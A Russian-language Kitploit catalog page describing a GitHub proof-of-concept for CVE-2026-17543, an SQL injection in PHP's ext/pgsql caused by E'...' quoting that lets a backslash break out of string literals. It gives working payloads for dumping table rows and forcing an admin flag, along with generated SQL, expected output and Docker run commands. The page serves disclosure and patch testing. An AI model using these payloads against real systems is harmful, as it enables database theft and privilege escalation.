Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout — PoC-эксплойт для CVE-2026-17543: SQL-инъекция в PHP ext/pgsql через backslash breakout с полезными нагрузками для эксфильтрации данных и повышения привилегий до администратора в PostgreSQL. | Kitploit
Инструменты/GitHubGitHub/hunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHubhunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

PoC-эксплойт для CVE-2026-17543: SQL-инъекция в PHP ext/pgsql через backslash breakout с полезными нагрузками для эксфильтрации данных и повышения привилегий до администратора в PostgreSQL.

Репозиторий
1121 месяц назадЕщё не проверено

CVE-2026-17543 — SQL-инъекция в PHP ext/pgsql через обход экранирования обратной косой черты в E'...'

PoC для CVE-2026-17543 (CVSS 9.8 Critical, CWE-89) — уязвимость SQL-инъекции в процедурном PostgreSQL-расширении PHP.

Сводка об уязвимости

pg_insert(), pg_select(), pg_update(), pg_delete() и pg_convert() пропускают все строковые значения через php_pgsql_convert(), которая:

  1. Экранирует значение с помощью libpq PQescapeStringConn() — которая при standard_conforming_strings = on (значение по умолчанию в PostgreSQL с 9.1) удваивает ' в '' и оставляет \ нетронутым (корректно для обычного литерала '...').
  2. Оборачивает экранированный результат с помощью php_pgsql_add_quotes() в escape-строковую константу E'...' вместо обычной '...'.

Внутри E'...' обратная косая черта является escape-символом, поэтому \, поставленная перед кавычкой, сводит на нет удвоение кавычек: \' превращается в одну литеральную ', а вторая кавычка — добавленная экранировщиком как удвоенная литеральная — теперь преждевременно завершает строку. Всё после неё — это сырой внедрённый SQL.

Официальное исправление (коммит ab048bd83b57) состоит из одного символа: выводить '...' вместо E'...'.

Затронутые версии

Не затронуты: pg_query_params() (настоящее связывание параметров) и подготовленные выражения PDO_PGSQL / PDO::quote() — они используют отдельные пути выполнения, которые никогда не вызывают php_pgsql_add_quotes().

Полезная нагрузка

root@kitploit:~
zzz\' OR 1=1 --

(одна обратная косая черта непосредственно перед одинарной кавычкой)

  • Уязвимая сборка выдаёт ... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 разбирается как SQL → возвращаются все строки.
  • Исправленная сборка выдаёт ... WHERE "name"='zzz\'' OR 1=1 --' → обратная косая черта обычная, поэтому OR 1=1 -- поглощается внутри строкового литерала → ничего не совпадает.

Вторая полезная нагрузка (eve\', true) --) демонстрирует повышение привилегий через pg_insert(), принудительно устанавливая колонку admin в true.

Файлы

Быстрый старт (Docker)

root@kitploit:~
docker compose up --build --abort-on-container-exit

Ожидаемый вывод в уязвимой сборке

root@kitploit:~
PHP version:              8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------

[1] pg_select() data exfiltration
    payload (runtime): zzz\' OR 1=1 --
    generated SQL:
      SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
    rows returned: 2
    [!] INJECTION - leaked every row in the table

[2] pg_insert() privilege escalation
    name payload (runtime): eve\', true) --
    generated SQL:
      INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
    inserted row admin flag: 't'
    [!] INJECTION - admin column forced to TRUE

Done.

В исправленной сборке сгенерированный SQL содержит '...' (без E), [1] сообщает rows returned: 0 / no injection, а [2] сообщает admin flag: 'f'.

Запуск без Docker

Укажите PGCONN на любой PostgreSQL и запустите с уязвимым PHP:

root@kitploit:~
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php

Требования

  • Уязвимая сборка PHP из указанных выше диапазонов, скомпилированная с ext/pgsql (--with-pgsql / расширение pgsql).
  • Любой PostgreSQL (9.1+, т.е. с standard_conforming_strings = on).

Завершение работы

root@kitploit:~
docker compose down -v

⚠️ Предупреждение о безопасности

Используемый здесь PHP-образ по определению не содержит исправления для CVE-2026-17543. Запускайте его только в изолированном одноразовом контейнере и выполните docker compose down -v по завершении. Никогда не направляйте этот PoC на базу данных, которая вам дорога.

Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
  • GitHub Advisory GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
  • Коммит с исправлением: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617
Скачать инструмент
BranchVulnerableFixed
PHP 8.2< 8.2.338.2.33
PHP 8.3< 8.3.338.3.33
PHP 8.4< 8.4.248.4.24
PHP 8.5< 8.5.98.5.9
FileDescription
poc.phpДемонстрирует оба варианта: эксфильтрацию данных через pg_select и повышение привилегий через pg_insert; выводит сгенерированный SQL, чтобы токен E'...' был виден
DockerfileЗакрепляет уязвимый PHP CLI-образ (php:8.4.23-cli) с ext/pgsql
docker-compose.ymlПоднимает PostgreSQL 16 + контейнер с уязвимым PHP и запускает poc.php